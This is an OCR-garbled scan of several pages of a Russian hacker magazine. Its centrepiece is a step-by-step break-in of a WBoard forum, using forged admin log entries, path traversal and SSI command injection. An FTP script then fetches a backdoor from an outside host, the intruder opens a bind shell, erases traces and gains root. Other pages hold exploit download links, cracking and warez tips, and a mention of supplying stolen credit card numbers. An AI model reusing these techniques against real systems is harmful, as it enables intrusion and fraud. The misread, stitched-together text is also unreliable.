отдельные релизы на м.сотршяаге.сот. Увы, столь мощный продукт дают в 
безвозмездное использование только на 2 недели, потом предлагают запла- 
тить за использование софтины $1700! Бедным студентам и прочим марги- 
нальным элементам могут помочь находки на варезных ІВС-каналах (ищем 
тшйссзру.сот) и в еОопкеу. И там и там с перманентным успехом находится 
указанный ОеѵРагГпег ЗГисІіо, весом в 170М. Для счастливых обладателей 
бесплатной версии 7.0 на азГаІаѵізіа.Ьох.зк имеется даже кряк. 



Я ш Основное направление движения зависит от твоего материально- 
■ го положения и желания потратиться. Если с деньгами проблем 
нет, то идем по первому пути. Покупаем сервер, ставим его на коло- 
кейшн ("соІІосаГіоп") или просто приобретаем выделенный сервант 
("бебісаіеб"). Учитывая, что ІВСО, под который будет собираться систе- 
ма, ест минимум ресурсов, можно взять самое копеечное железо. Дос- 
таточно одного процессора, логичного минимума оперативки, скромно- 
го винта и крохотной 1 1I упаковки-гаск. Аренда такого слота стоит сов- 
сем недорого. В случае выделенного сервера также не имеет смысла 
затовариваться современным железом - закупайся по минимуму! 
Оебісаіеб в США обойдется в $100-200 ежемесячно, в эти деньги вклю- 
чена плата за установку, около 100С трафика и техническая поддержка. 
Имея сервер, можно подать заявку на прилинковку к сети, бланк кото- 
рой можно найти на сайте сети (шшіаі.пеі, ѵш.иікіегпеі.огд, ѵѵѵѵѵѵ.еГпеГ.огд 
еГс). Иногда просят статистику за месяц работы сервера, чтобы убе- 
диться в постоянности его функционирования, благонадежности в удов- 
летворении юзера. Так что процесс линковки может занять несколько 
недель, а то и месяцев. Важное "но": многие крупные сети не разреша- 
ют крутить на сервере любые публичные сервисы, отличные от ІВСб! 
Так что о хостинге под адулт-контент придется забыть, как и о прокрут- 
ке там своего биллинга :(. 
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ВЕРШЕНО ПОРНО- 
БИЗНЕС!! 

Мы нашли настоящего пор- 
номагната, и он поведал 
нам все секреты этого неза- 
конного в России бизнеса. 




. Найден очередной 

чй* - баг в популярном 
' - почтовом сервисе 

Е-таіІ.ги. 




СКВОЗЬ 

ОГНЕННЫЕ СТЕНЫ 

Все чаще и чаще админы за- 
щищают серверы файрвола- 
ми. Но если приглядеться, и 
такую защиту можно обойти 



I 




О а Мне жутко неприятно отвечать "нет" уже на второй вопрос по теме 
■ этого отличного продукта. Но, увы, пока не было выпущено какого-ли- 
бо *піх-клиента. Нет ни любительского (от "третьих лиц"), ни, тем более, 
официального релиза. Хотя, как утверждают разработчики, это вопрос бли- 
жайшего будущего. Пока же получается, что оптимально использовать 
Вабтіп Ѵіеѵѵег на базе одного из ѵѵіп-эмуляторов под *никс. Например, боем 
была проверена работоспособность Ѵіеѵѵег'а на ѴѴіпеХ. Также идут разговоры 
о готовящемся РегІ-релизе клиента, который раз и навсегда решит привязку 
клиента к определенной ОС. 




Р в 51аг Рогсе (шшіаг-(огсе.ги) это контора, которая мутит софт для защи- 
■ ты ПО от копирования, нелицензионного использования. На данный 
момент в массах ходят версии 1 , 2 и 3. Есть общедоступная инфа, исходя- 
щая, правда, из источников чрезвычайно ненадежных, что версии 5Р 1 и 5Р 
2 легко ломаются. Злодеи говорят, что для взлома, к примеру, диска с иг- 
рой, СО нужно "завиртуалить" с помощью АІсобо1 120 (тыІсоІюІ-$о(і.сот), отк- 
лючить в системе уже имеющийся СЭ-ВОМ (через ВІ05, к примеру), так что- 
бы комп видел лишь одну вертушку - виртуальную. Мы планируем в ближай- 
шее время подготовить статью на эту тему, где и расскажем более подроб- 
но, как ломать защиту дисков. 




■ Мы по работе админим ряд систем Ветоіе 

■ Асітіпізігаіог'ом. Ходят упорные слухи, что 
прогу взломали и даже запароленныи сервер 
могут угнать! Это правда? 



Я в Действительно, совсем недавно ІТ-общественность будоражили упор- 
в ные слухи о взломе Вабтіп. Ряд провайдеров, поддерживающих нес- 
колько известных ресурсов, в конце января подверглись массированной 
00о5-атаке. Среди жертв были такие организации, как реіегбозі и тазіег- 
бозі. На всех взломанных машинах, использованных для ДДоСа, был уста- 
новлен Вабтіп. Говорилось о неком баге в сервере продукта Ратаіесб, ко- 
торый позволял беспрепятственно логиниться и производить захват систе- 
мы. Впоследствии, чтобы опровергнуть эти слухи, производитель Вабтіп’а 
установил свой собственный бопеу роі, который предлагался как объект для 
взлома Вабтіп Зегѵег’а. Хакеров дразнили утверждениями, что взломать эту 
систему невозможно! И действительно, потуги компьютерных взломщиков 
ничем не увенчались. Слава яйцам: ІМТ-админы могут спать спокойно. Как 
показывает практика, захваты большинства систем, управляемых Вабтіп’ом, 
осуществлялись через другие дыры атакованной системы. 




‘ Решили с поделыдиком поюзать сверхмощный 
Мтар под ѴѴтсІоѵѵз! Только он не пашет, какой- 
то библиотеки ему не хватает! Приятель 
поставил самый свежак, но это не помогло :(. 



Я в Как и ряд других *піх-портов под ѵѵіп, сетевой сканер Мтар (ѵѵѵѵѵѵ.іпзе- 
■ сиге.огд/птар) требует для жизнедеятельности комплект ѴѴіпрсар (ѵѵіп- 
рсар.роіі(о.іі). Понятное дело, что установить библиотеку необходимо еще пе- 
ред запуском Мтар'а. Проблема твоего кореша в его чрезмерном стремле- 
нии ко всему свежему: все ѴѴіпрсар'ы, начиная с текущего 3.1 Веіа, принци- 
пиально отказываются работать с Мтар’ом! Так что не выпендривайтесь и 
ставьте старье, датированное версией до 3.0 включительно. Девелоперы 
сканера обещают поправить несовместимость уже в ближайшем релизе 
Мтар. 




Р ' Хотим с корешем сделать варезную группу. 
' Расскажи, как получают образы дисков, и 
какие форматы, кроме 150, существуют? 

О ш В Шга ЕбШоп Мего Вигпіпд ВОМ (шшііеаісіе) отлично реализована 
■ возможность записи образов ("имиджей") во всех возможных форма- 
тах. Однако отдавать аж 1 50М трафика на скачку полновесного Мего - излиш- 
няя роскошь. Попробуем нарезать образы с помощью АІсобоІ, который, на- 
помню, можно слить с м.аІсоІіоГзоН.сот. Эта софтина умеет сохранять 
имиджи в следующих форматах: СІопебСЭ (*.сссІ), Мебіа Эезсгіріог (*.тбз), 
ВІІпбгеаб (*.Ьѵгі), ОізМиддІег (*.сбі), Мего (*.пгд), ІпзШ СОДМ) (*.рбі)! Ко- 
нечно же, разработчики программы не обошли стороной и классические 
*.ізо, о которых ты спрашивал. 




Р ' : Нельзя ли стать админом в сети, но чтобы ни 
' копейки не потратить? 

Я в Собственно, деньги-то все равно нужны. Вопрос лишь в том, кто их 
■ заплатит. Слово "буржуй" обычно имеет негативный оттенок, однако 
жажда халявы порядком сильнее ;). Так что, если ты хочешь прокатиться на 
шару - придется поискать инвестора, чувака с деньгами, который бы тоже 
хотел стать ІВСор’ом, но не хочет возиться с настройкой сервера. Таким об- 
разом, вы на пару с ним оказываетесь админами сети - он платит деньги, а 
ты админишь сервак. Также, если ты настоящий ІІпіх-диги, можно вписаться 
в еще только формирующуюся команду нового сервера. Шансы попасть в 
состав администрации нового серванта - выше, чем на прописку в уже суще- 
ствующий, раскрученный сервер. Хотя ты можешь получить приглашение на 
подобную работу (в 99% случаев - безвозмездную) после длительной отсид- 
ки и активной помощи ушастым юзерам на каналах вроде #беІр. Например, 
ІВСор Вагбага, которая когда-то закрыла канал #хакер нашего журнала, 
именно подобным образом получила свой гордый статус. 
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еппыи весенним вечером, листая журнал Хакер, один человек наткнулся на весьма интересную статью, посвященную багам в РегІ- 
проектах. Речь шла о найденной уязвимости, позволяющей постить сообщения без дополнительной аутентификации в одном 
популярном форуме. Однако, прочитав материал до конца, наш герой подумал, что с помощью описанной дырки можно выполнять 
и более изощренные вещи. 




НПШУМЕВШИЕ ИСТОРИИ КРУПНЫХ взломов 



А 



^БРГ ПОЯ МИКРОСКОПОМ 

У веренным щелчком мыши хакер 
запустил свой любимый брау- 
зер. В адресной строке 
он набрал мшопеШ/иШ, где 
должен был быть установлен 
форум Ѵ\ЛЬоагб. Действительно, 
совсем недавно администратор 
поставил борду на сайт, чем 
подверг себя большому риску. На форуме 
красовалось единственное тест-сообщение 
от админа. Но наш герой не собирался пос- 
тить второй тест от идентичного ника (что бы- 
ло сделано в статье). Он в принципе не зани- 
мался подобными вещами, а совершал лишь 
революционные взломы :). После некоторых 
раздумий он скачал сорцы форума себе на 
винт и приступил к небольшому анализу. 

Взломщик установил борду на свой ло- 
кальный сервер. После этого он немного по- 
рылся в скрипте, который позволяет удален- 
но администрировать ѴѴШоагб. Действитель- 
но, аккаунт админа располагался в файле 
бай/ѵѵіЬабтіп.М и содержал в себе следую- 
щие данные: абтіп;;абтіп;;а, что, по-види- 
мому, означало присвоение абсолютного 
доступа юзеру абтіп с аналогичным паро- 
лем. Быстро заюзав такой дефолтный акка- 
унт на сервере зопеШ, наш герой получил 
от ворот поворот - администратор изменил 
все настройки по умолчанию. 



Дальнейшие действия хакера были нап- 
равлены на проверку уязвимости. Поставив 
параметр <Ма=/ в СОІ-поток, он убедился в 
изъяне - сценарий отрапортовал, что не мо- 
жет открыть файл //ѵѵТЬпатез.ТхТ. Затем 
взломщик обратился к скрипту ѵѵТЬесІІТ.сді, 
передавая ему четыре параметра, название 
которых было выяснено из ѵѵТЬасІтіп.ТіТт. В 
итоге у сетевого партизана получился сле- 
дующий запрос: бНрУ/ІосаІІіозі/сді- 
ЬіпМЬе(Ііі.сді?Ш=0Хорег=а(1тіпіег(асе8[Іодіп=гооІХра55= 
гооі. Сценарий заругался на неверный па- 
роль. Взломщик даже не обратил на это 
внимания. Сейчас его интересовал другой 
вопрос. Он должен был каким-то образом 
связать инкапсуляцию переменных с воз- 
можностью администрирования и получить 
полноценный доступ к администраторскому 
интерфейсу. Наш герой полез в исходники 
ѵѵТЬесІІТ.сді, чтобы посмотреть код процеду- 
ры, проверяющей аккаунт на валидность. 





Искомая функция называлась ѵегіТуасІтіп, 
вот ее сокращенный код: 

Код функции, проверяющей учетную запись 

ьиЬ ѵегіТуасІтіп 
{ 

ореп 

МАМ,"$сіаТа/$ѵѵТЬа(1тіп":$і=0;ѵѵ(ііІе(<МАМ>){сііотр:($пат[$і],$р 
исі[$і],$$іаі[$і],$$ИрІІІ( І ;; І );++$і;}сІ(ке МАМ: 

Тог $і(0..$#пат) 
дао] е Ч $пат[$і]) 

{ІТ($_[1] еч $рисі[$і]){$5ІаН$іаІ[$і];геІіігп $$1аТ;} 
еІ$е 

{геТигп -1; 

№ 

геТигп -1: 

} 

Видно, что в ѵегіТуабтіп() открывается 
файл "$РаТа/$ѵѵІЬабтіп", из которого проис- 
ходит чтение админского логина. Если па- 
роль и имя совпадают с введенными значе- 
ниями, возвращаются права доступа к бор- 
де. Хакера насторожило, что название отк- 
рываемого файла целиком состоит из пере- 
менных, которые при определенном желании 
можно переопределить. 







Большая дыра в миленьком форуме 



Л ПЕРВЫЕ УСПЕХИ 

Недолго думая, взломщик скопировал ѵѵІЬасі- 
тіп.М, находящийся в сді-Ьіп/сІаіа, в корень 
диска с:\. После этого нехитрого действия он 
подставил в запрос к ѵѵІЬесІіісді (полный лис- 
тинг смотри выше) строчку 
«&<Ма=. и получил форму адми- 
нистрирования. Вот только все значения пара- 
метров были покоцанными. Это объяснялось 
инкапсуляцией $<Ма, поскольку, помимо 
ѵѵШабтіп.М, в баіа/ находились и другие фай- 
лы конфигурации, к которым по понятным 
причинам сценарий не смог обратиться. Но 
хакер был почти у цели. Подправив перемен- 
ную на ѵѵібасітіп и дописав "../ѵѵІЬасІтіп.М” 
в значение, взломщик наконец-то получил пол- 
ноценный доступ к администраторской панели. 

Но этот вариант взлома прокатывал, только 
если у хакера существует локальный доступ на 
сервер. При текущем раскладе никакого ак- 
цесса не было, поэтому взломщик продолжал 
думать. Бегло проанализировав ситуацию, наш 
герой начал усердно вспоминать, в какие фай- 
лы он может записать информацию. Дело в 
том, что если хакер каким-то образом создаст 
файл со строкой вида “абтіп;;ас1тіп;;а” и 
скормит его имя в переменную $ѵѵ!ЬасІтіп, то 
функция ѵегіТуасітіп() честно пропарсит конфиг 
и допустит взломщика к скрипту администри- 
рования. Вначале у сетевого партизана созре- 
ла идея написать публичное сообщение и ос- 
тавить параметры для функции в обычном 
МтІ-документе, однако этот способ не прока- 
тил (да и палить себя никакого желания не бы- 
ло). Но потом, после тщательного просмотра 
каталога <Ма/, взломщик обнаружил занятный 
журнал под названием ѵѵЬл/гопд.М. Открыв его, 
хакер понял, что в этот лог заносятся сведения 
о неудачных попытках обращения к админско- 
му интерфейсу. Ничего странного в этом не 
было, если бы не приятный синтаксис журна- 
лирования. Он выглядел следующим образом: 

ВОШ ГШ=0; Тіте=23:56:15 20/03/2004: Ьод=гооЕ: РѵиИооІ; 

Но$М27.0.0.1; ЕтаіІ=; Мі$с= 




л занвпт борды 

После минутного размышления злоумыш- 
ленник догадался, что после «РЮ=» следует 
не что иное, как идентификатор борды. На 
практике подтвердилось, что ТісІ может при- 
нимать не только числовое, но и символьное 
значение. Пожалуй, хакер располагал всеми 
данными и был готов к применению 
собственного алгоритма. 

Злоумышленник решил задать значение 
ТісІ равным «гооТ;;гооТ;;а;;». Действительно, 
после этого в логе зарисуется строчка 
«ВЭАЭМ РЮ= гооІ;;гооІ;;а;;...», скушав кото- 
рую, ѵегіТуасітіп() даст полный доступ к ад- 
министрированию. Чтобы создать лог в об- 
щедоступном месте, взломщик должен все- 
го-навсего задать значение баіа равным 
«../../../../../..Дтр» (чем больше «../», тем 
лучше ;)). В итоге, наш герой обошелся дву- 
мя простыми запросами и получил доступ к 
ѵѵІЬесІіісді. Вот они: 

ЬНр://тѵѵѵ.50пеио/сді- 
Ьіп/ѵѵІЬ/сІаІа?ІісІ=гооІ; ;гооІ; ;а; ;&орег=асІтіпіп- 
іеііасе&Іодіп=гооі&разз=гооІ&сІаІа=/Ітр; 
ЬПр://ѵѵѵѵѵѵ.зопеио/сді- 
Ьіп/ѵѵІЬ/с1аІа?ЕісІ=гооІ;;гоо{;;а;;&орег=ас1тіпіп- 
Іеііасе&Іодіп=ВЭАЭМ 
РІ 0=гооі&разз= гооТ&ѵѵТЬасі - 
тіп=. ./. ./. ./. ./. ./. ./. ./. ./. ./ітр/ѵѵіѵѵгопд .1x1. 

Для тех, кто в танке, еще раз объясню: 
первый запрос создает свежий лог в Дтр с 
одной-единственной строкой известного со- 
держания. Второй реквест подменяет пере- 
менную ѵѵТЬасітіп, устанавливая ее значение 
равным пути к этому логу. В итоге функция- 
парсер получает в качестве логина «ВЭАЭМ 
РЮ=гооІ», а в качестве пароля «гооі» 
и допускает хакера к админке. 

Но так просто изменить параметры форума 
не получится. При нажатии кнопки «Приме- 
нить», скрипт ругнется матом и выдаст ошиб- 
ку аутентификации. Это объясняется тем, что 
при повторном обращении к сценарию замена 
не производится. Чтобы исправить ситуацию, 
нужно сохранить ЫтІ-документ себе на винт и 
пропатчить форму, добавив дополнительный 
Ьібсіеп-параметр с именем ѵѵІЬасітіп и длин- 
ным значением :). Последним штрихом будет 
замена относительного пути к сценарию пол- 
ным (в теге <РОВМ>). Все! Теперь форум 
полностью в руках злоумышленника. 

Л БОМБИМ СЕРВЕР 881-ЗОПРОСПМИ 

История могла закончиться на этой веселой 
ноте, если бы хакер был простым скрипткид- 
дисом. Тогда бы он выполнил дефейс 
іпбех.зМтІ с большой радостью (изменение 



ЧТО ПОМОГЛО КОКЕРУ ПРИ ВЗЛОМЕ? 

П рочитав X, наш герой не остановился на оборванной мысли 
автора, а решил поиметь нечто большее, чем просто постинг 
сообщений. И ему улыбнулась удача. 

Взломщик использовал различные методы транспортировки 
файлов в зависимости от ситуации. Впрочем, описанные два 
способа заливки зло-исходников не единственные. 

Хакер экспериментировал на локальной машине. Действитель- 
но, разруливать багу на удаленном хосте довольно глупая затея 
- при неудачном стечении обстоятельств можно получить лю- 
лей от администратора :). 




индекса форума через админку можно сде- 
лать очень просто). Но взломщик захотел 
получить полные привилегии в удаленной 
системе. Предварительно убедившись, что 
порты не фильтруются файрволом, сетевой 
партизан еще больше захотел рутовые права 
:). Но как взять рута, если у тебя доступ 
только на чтение файлов (да и то произволь- 
ных)? Дело в том, что ѴѴІЬоагсІ поддерживает 
551-запросы. Более того, главная страница 
имеет расширение «збіті». Недолго думая, 
наш герой рисует в конце НЕАЭ-заголовка 
у индекса нехитрый тег: <!-#ехес 
стсі=”ипате -г; ѵѵбоаті”-->. Все это хакер 
выполняет локально (в заранее пропатчен- 
ной МтГке). После принятия изменений 
взломщик топает на главную страницу и ви- 
дит... заветные строчки - результат выпол- 
ненных команд. ѴѴеЬ-шелл это уже не чтение 
файлов, с такой фичей взять системные 
привилегии очень просто. 

Следующим запросом была команда 
«ѵѵбісб ѵѵдеі» . Оказалось, что ѵѵдеіа на серве- 
ре не было :(. Но бэкдор залить очень хоте- 
лось, поэтому нашему герою пришлось изв- 
ращаться и писать РТР-сценарий, благодаря 
которому хакерский Ьсі.рі транспортировался 
на сервант. Для забывчивых (этот листинг 
много раз появлялся на страницах ЭідіТаІ 
Наск), напоминаю нехитрый сценарий. 



РТР-сценарий для скачивания файла 



/Ьіп/есію и$ег Ласк Ііаскегразз » /ітр/ІІр 
/Ьіп/есію деі М.рІ /Ітр/М.рІ » /Ітр/Іір 
/Ьіп/есію циіі »/1тр/11р 
/изг/Ьіп/ІІр -п Ьаск.пагосІ.ги < /Ітр/Іір 
/Ьіп/гт -I /Ітр/Іір 




л Защититься от 
баги пока невоз- 
можно. Разве что 
ручками менять 
код, либо замаски- 
ровать имена сис- 
темных перемен- 
ных. В этом случае 
хакеру придется по- 
потеть, чтобы хак- 
нуть твой сервер. 

435 " 

л На нашем диске 
ты обнаружишь 
наглядный пример 
описанного взлома 
в виде изящного 
ѴіэиаІНаск. В 
качестве бонуса 
будет выложен 
примитивный 
бэкдор, который 
использовал хакер. 








ОБЗОР КНИГ 



«ФУНДПМЕНТППЬНЫЕ ППГОРИТМЫ НО С» 

Сроберт седжвик) 

нига из разряда 




бес- 
смертных". Ее автор - 
известный во всем мире 
профессор компьютерных 
наук Принстонского уни- 
верситета. Книга охваты- 
вает практически все из- 
вестные базовые алгорит- 
мы с реализацией их на 
языке Си, сопровождае- 
мые внятными объяснениями, таблицами и 
рисунками. В продаже имеется аналогичная 
книга того же автора, но только для языка С++ 
- «Фундаментальные алгоритмы на С++». Об- 
рати внимание, что издательство выпускает 
книгу (как для языка Си, так и для С++) в двух 
вариантах: либо в одном томе, состоящем из 
пяти частей, либо в двух, где один том может 
содержать части 1 -4: "Анализ. Структуры дан- 
ных. Сортировка. Поиск", а второй - часть 5 
"Алгоритмы на графах". Смотри внимательно! 



«ТЕХНИКП И ФИЛОСОФИЯ ШЕРСКИХ РТРХ. 

2-Е ИЗДПНИЕ » 

(крискпсперски) 

В торое издание знаме- 
нитой книги от не менее 
знаменитого отечествен- 
ного автора Криса Каспе- 
рски. На мой взгляд, это 
уже практически другая 
книга. В первую очередь 
изменился язык, теперь он 
более ясный и без лишних 
умствований. Убрана лиш- 
няя «вода» и приведены новые примеры взло- 
мов программ. Существенную часть книги за- 
нимает, если я правильно понял автора, рекла- 
ма его будущей книги "Техника защиты лазер- 
ных дисков" (кстати, очень интересная тема!). В 
общем, отличное пособие для начинающих кря- 
керов, рекомендую! 

«КРИПТОГРОФИЯ НО СИ И С++ В ДЕЙСТВИИ» 

(м. вепыііенбпх) 

Н аучным редактором 
этой книги является из- 
вестный российский спе- 
циалист по криптографии 
Павел Семьянов - это сво- 
его рода знак качества ;). 
Книга в первую очередь 
рассчитана на програм- 
мистов-практиков, кото- 
рые хотели бы внедрить в 
свои программы защит- 
ные криптографические механизмы, а также 
понять принципы их работы. Хорошо проком- 
ментированные исходные коды приложены к 
книге на компакт-диске и будут одинаково по- 
лезны программистам как под І_іпих, так и под 
ѴѴіпбоѵѵз - программы протестированы в обеих 
этих системах различными компиляторами. 
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Н есмотря на то, что все версии форумов ѴѴШоагсІ подвержены 
этой уязвимости, не каждый сервер удается порутать. Дело 
в том, что на машине может отсутствовать поддержка 551 -ди- 
ректив (строчка «АсІсП-іапсІІег зегѵег-рагзесі .зйіті»). Либо сервак 
крутится под виндой (в этом случае нужно заменить директо- 
рию Дтр каким-либо другим каталогом). Но в любом случае, ты 
можешь перезаписать іпбех.зМтпІ, выполнив тем самым завет- 
ную мечту скрипткиддиса. 



фирЪЧ 






Шпионская командная вставка 



Предпоследняя строка запускает консоль- 
ный клиент Ир с опцией -п (передача логина 
и пароля в одной строке). Все команды сце- 
нария вводились через 551-запросы (все в 
той же шапке іпсіех-файла). 

Л СИСТЕМНОЕ ПРОНИКНОВЕНИЕ 

Не буду уточнять приватный адрес РТР, с ко- 
торого был скачан бэкдор. Аналогичный 
РегІ-файл ты можешь найти по адресу 
ѵѵѵѵѵѵ.сІгидІех1:.огд/сІа1:аЬа5е/ІіЬгагу_0репРіІе.сТт/Ь(1.рІ?$егѵ 

егРІІе=М.рІ. Бэкдор прост как 2 рубля - скрипт 
открывает порт и при соединении запускает 
/Ьіп/зб. Это все, что было необходимо наше- 
му герою. После отправки последнего 551- 
вызова вида: <!-#ехес стсК’/изг/Ьіп/регІ 
Дтр/ЬсІ.рІ”-> в системе послушно открылся 
37900 порт. После всего проделанного 
взломщик восстановил первичный 
іпбех.зіііті (чтобы замести следы) 
и приступил к локальному взлому системы. 

Помнишь первый командный запрос? В нем 
злоумышленник узнал версию ядра системы, 
а также права, под которыми работает Апач. 
Судя по версии ядра (2.4.20), сетевой партизан 
запросто мог порутать сервак обычным рігасе- 
эксплойтом от ізее-зесигііу. Последней пробле- 
мой было то, что на сервере по-прежнему отсу- 



тствовал ѵѵдеб Конечно, хакер мог закачать 
эксплойт, прибегнув к помощи обычного Рір- 
сценария. Но в данной ситуации проще исполь- 
зовать локальный ввод в консоль, запустив 
/Ьіп/саі с перенаправлением в файл. Таким об- 
разом злоумышленник залил сплойг на маши- 
ну. Впоследствии он удачно скомпилировался и 
запустился. Думаю, понятно, что после всех 
этих действий хакер был вознагражден абсо- 
лютными гооі-правами. 

Л ИОРППЬ СЕЙ БПСНИ 

Время собирать камни. А точнее, подвести 
небольшой итог. Как видишь, даже через не- 
большую багу на форуме вполне реально по- 
лучить абсолютные права. Это смог сделать 
продвинутый юзер, скрывающийся под мас- 
кой «героя-хакера», а значит, сможешь и ты. 
Если, конечно, будешь читать журнал Хакер 
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Недавно появился свежий эксплойт, открываю- 
щий на уязвимой машине шелл. Хакер спосо- 
бен получить полный доступ к серверам под 
управлением \Л/іпХР/2к, причем админа не спа- 
сут даже установленные сервис-паки - бага та- 
ится во всех выпущенных пакетах от 5Р1 до 
5Р4. Новый сплойт снабжен мощным шеллко- 
дом, который и открывает заветный шелл на 
указанном порту. Спустя неделю после выхода 
эксплойта, была представлена софтина, кото- 
рая автоматически сканирует заданный диапа- 
зон адресов на уязвимость и рутает бажные 
машины. Берегитесь, ленивые админы! 



Я думаю, ты уже наслышан о дырявости 105, внед- 
ренной в роутеры Сізсо. Недоработки в коде поз- 
воляли обходить авторизацию ѴѴеЬ-сервера, 
ОоЗ’ить интерфейсы маршрутизатора, убивать 
55Н и многое другое. И вот настал долгожданный 
момент, когда 9 самых весомых уязвимостей были 
вшиты в единый эксплойт. Теперь хакеру достаточ- 
но передать номер ошибки с помощью параметра, 
и сплойт сделает черное дело. Программа пол- 
ностью написана на РегІ, поэтому у хакера не воз- 
никнет проблем с компиляцией. 



Еще одной виндовой уязвимостью стал баг в поч- 
товом сервере еХсбапде. Правда, ошибка кроется 
не в рорЗ, а в ЗМТР-части этого сервиса. Если го- 
ворить по делу, хакер может «уронить» сервис, 
прислав хитро скомпонованный пакет данных в по- 
ле МАИ ЕРОМ. После отладки этой ошибки поя- 
вился перловый эксплойт с большим шеллкодом. 
Польза от сплойта огромна - после его запуска на 
9191 порту открывается доступ к командному ин- 
терпретатору. 



защита: 



Защититься можно двумя способами. Во-первых, 
следует установить обновление от М3 

(шоакер.ш/ро$ѴШДіеЫІ.а$р). Во-вторых, можно за- 
щитить систему обычным файрволом, для этого ре- 
комендуется пресекать все внешние подключения 
на следующие порты: ТСР: 135, 139, 445, 593; ШР: 
135, 137, 138, 445. 



Скачать исходный код эксплойта можно по адресу 

ши.$есигіІуІаІ).ги/_ЕхрІоіІ5/2004/04/Н00-т$()4011-І$а5Гѵ-ехрІ.с. 

Для ленивых - ссылка на уже скомпилированный 
бинарник: иш.орепшт.пеі/$ой/Н0В-т$04011-І$а$гѵ-ехрІ.ехе. 
Для самых ленивых - линк на сканер уязвимых 
машин: ши.$есигі(у.ппоѵ.ги/(ІІе$/Іж$агооІ 2 Ір. 



Багу в сервисе Ізазз можно приравнять к нашумев- 
шей уязвимости в ВРС ЭСот. Хотя бы потому, что 
в Сети уже орудует мощный червяк Заззег, кото- 
рый принес массу проблем и убытков многим се- 
тевым компаниям. Учитывая факт, что наши (да и 
зарубежные) администраторы не любят наклады- 
вать хотфиксы, хакеры еще долго будут глумиться 
над зараженными операционными системами. 



Автором полноценного эксплойта, а также сканера 
для Ідазз является кодер боизеойаЬиз. 



защита: 



Пожалуй, есть только один способ защититься от 
всех этих уязвимостей - проапдейтить 105. Нес- 
мотря на то, что некоторым ошибкам уже более 2 
лет, все они крайне распространены и часто встре- 
чаются. Поэтому дисководам рекомендую скачать 
эксплойт и проверить каждый таргет на своей 105, 
пока за них это не сделал кто-нибудь другой :). 



Вот полный список уязвимостей, входящих в 
эксплойт: иѵѵи.$есигіІуІаЬ.ги/44184.(іІпіІ. Что касается 
самого ОІоЬаІ Ехріоііег'а, его можно слить по 
ссылке ѵѵии.5есигі1уІаЬ.ги/_ЕхрІоіІ5/2004/03/сі$со.рІ.ІхІ 



Дружно благодарим команду ЬІаскапдеІз 
(ім.ЫаскапдеІз.іІ) за глобализацию всех дисковых 
дыр :). Молодцы, ребята! 



защити: 



На данный момент полноценной защиты от изъяна не 
существует. Но я уверен, что в скором времени на 
ишсІіапдерорЗ.сот появится свежий релиз или баг- 
фикс. Поэтому либо сиди и жди, пока тебя взломают, 
либо срочно ищи альтернативу бажному еХсбапде :). 



Эксплойт можно слить по адресу 

ши.$есигііуІаІш/44720.ІМ 



В последнее время все виндовые сервисы подвер- 
жены скрупулезному изучению со стороны хаке- 
ров. Как видишь, это приводит к рождению новых 
эксплойтов и червей. Будь осторожен - вполне воз- 
можно, что твою систему уже поломали ;). 



Эксплойт для еХсбапде написал зіто аббег в тан- 
деме с тагосіі Если верить источникам, все они 
французские хакеры и тусуют на I ВС- канале 
#сгаск.Тг. 
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Убойный шеллкод 
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И соблюдал Православный Пост, пока партнеры по бизнесу не принесли слишком много возбуждения, так что я оседлал свой ВіаЬиз 
6 III 2 и отправился к знакомой проститутке из «Шамбалы». Уходя от продажной дамы, чувствовал себя дико виноватым, так что 
свой грешок решил искупить, рассказав тебе, на чем я поднялся, чтобы купить свою первую Пшіі П8 и отправиться в Милан одеть 
в Наиіе соиіиге 200 1 /2002 одну недоступную подругу. 



0РГПНИ39ЕН СОБСТВЕННУЮ ПНЕ СОИ СТУДИЮ! 



Л 



Л ПНЕ СОИ — ЖИВЕЕ 
ВСЕХ ЖИВЫХ! 



Н есколько лет назад телевиде- 
нием завладели повсемест- 
ные «За стеклом», люди тра- 
тили уйму времени на изуче- 
ние чужой бытовухи. Время - 
деньги, так что в интернете 
параллельно развивалась це- 
лая развлекательная индуст- 
рия, нацеленная на удовлетворение вуайе- 
ристов. Однажды мой тогдашний босс, зная 
про сомнительные побочные заработки, поп- 
росил подборку номеров кредиток с полной 
инфой по владельцам. Зачем вдруг взросло- 
му дяде понадобился этот срам? Выясни- 
лось, что начальник решил затовариться ак- 
каунтами на сайте для любителей наблюде- 
ния за чужим телом в реальном времени - 
ѵшЛгіепФ.пеі. Тогда как раз из Америки при- 
шел счет моей Атегісап Ехргезз Ріаііпит: за 
месяц была спущена уйма денег! Я понял, 
надо срочно открывать свою Ііѵе сат сту- 
дию, брать на работу всех знакомых жриц 
любви и показывать их заморским мастурба- 
торам за дензнаки! 

Чтобы осуществить задуманное, нужно 
было решить пять основных проблем: 



О. Найти квартиру или офис, куда про- 
писать порномоделей. 

Ѳ. Протянуть в офис широкий канал в 
инет. 

О. Купить и установить все необходимое 
железо. 

О. Отыскать подходящих девах, которые 
будут сниматься. 

Ѳ. Найти хорошего партнера, через кото- 
рого я буду продавать наши трансляции. 

На самом деле, это очень обширная тема 
с кучей разнообразных нюансов и лазеек. 
Учитывая объем статьи, тут ты узнаешь все 
необходимое лишь по обозначенным пяти 
пунктам. Если все правильно получится - 
ты разбогатеешь! Пиши мне через полгода, 
я как раз буду обновлять свой автопарк, тебе 
продам свой годовалый МВ СІ.К 320АМС :). 

А квартирный вопрос 

Тогда моим главным партнером был извест- 
ный чешский порногигант Хонза, один из ли- 
деров местной индустрии. Общими усилия- 
ми мы открывали Ііѵе сат студии в Москве 
и Праге. Я сильно сомневаюсь, что среди 
читателей много людей с чешской пропис- 
кой, так что продолжу лишь по теме Москвы. 
В первую очередь надо было решить, где мы 




будем хостить наш очаг разврата. Студия в 
офисе хороша тем, что в специальных нежи- 
лых зданиях обычно уже проведен убеди- 
тельно быстрый инет за приемлемую плату, 
однако и снять такой офис стоит на порядок 
дороже. Тем более нам нужно было много 
пространства, чтобы разместить всех шесте- 
рых фей. Так что можно сразу закрыть тему 
прописки дюжины девчонок на кухню хру- 
щевки: для грамотной трансляции по инету 
потребуется дополнительное пространство. 
Да и возможный «производственный шум» 
может вызвать вопросы и недовольство со 
стороны офисных соседей. 

Совсем другое дело - трехкомнатная 
квартира в сталинском доме, где стены и 
потолки не пропустят ни звука. В поисках 
квартиры обратился, как водится, к знакомо- 
му риэлтеру, который обещал подыскать ва- 
риант с максимально тихими соседями. Раз- 
мер квартиры зависит от количества работ- 
ниц и дополнительного персонала (админи- 
стратор, переводчик, охрана). У меня посто- 
янно трудились 6 девочек, один администра- 
тор и три переводчика. Две комнаты были 
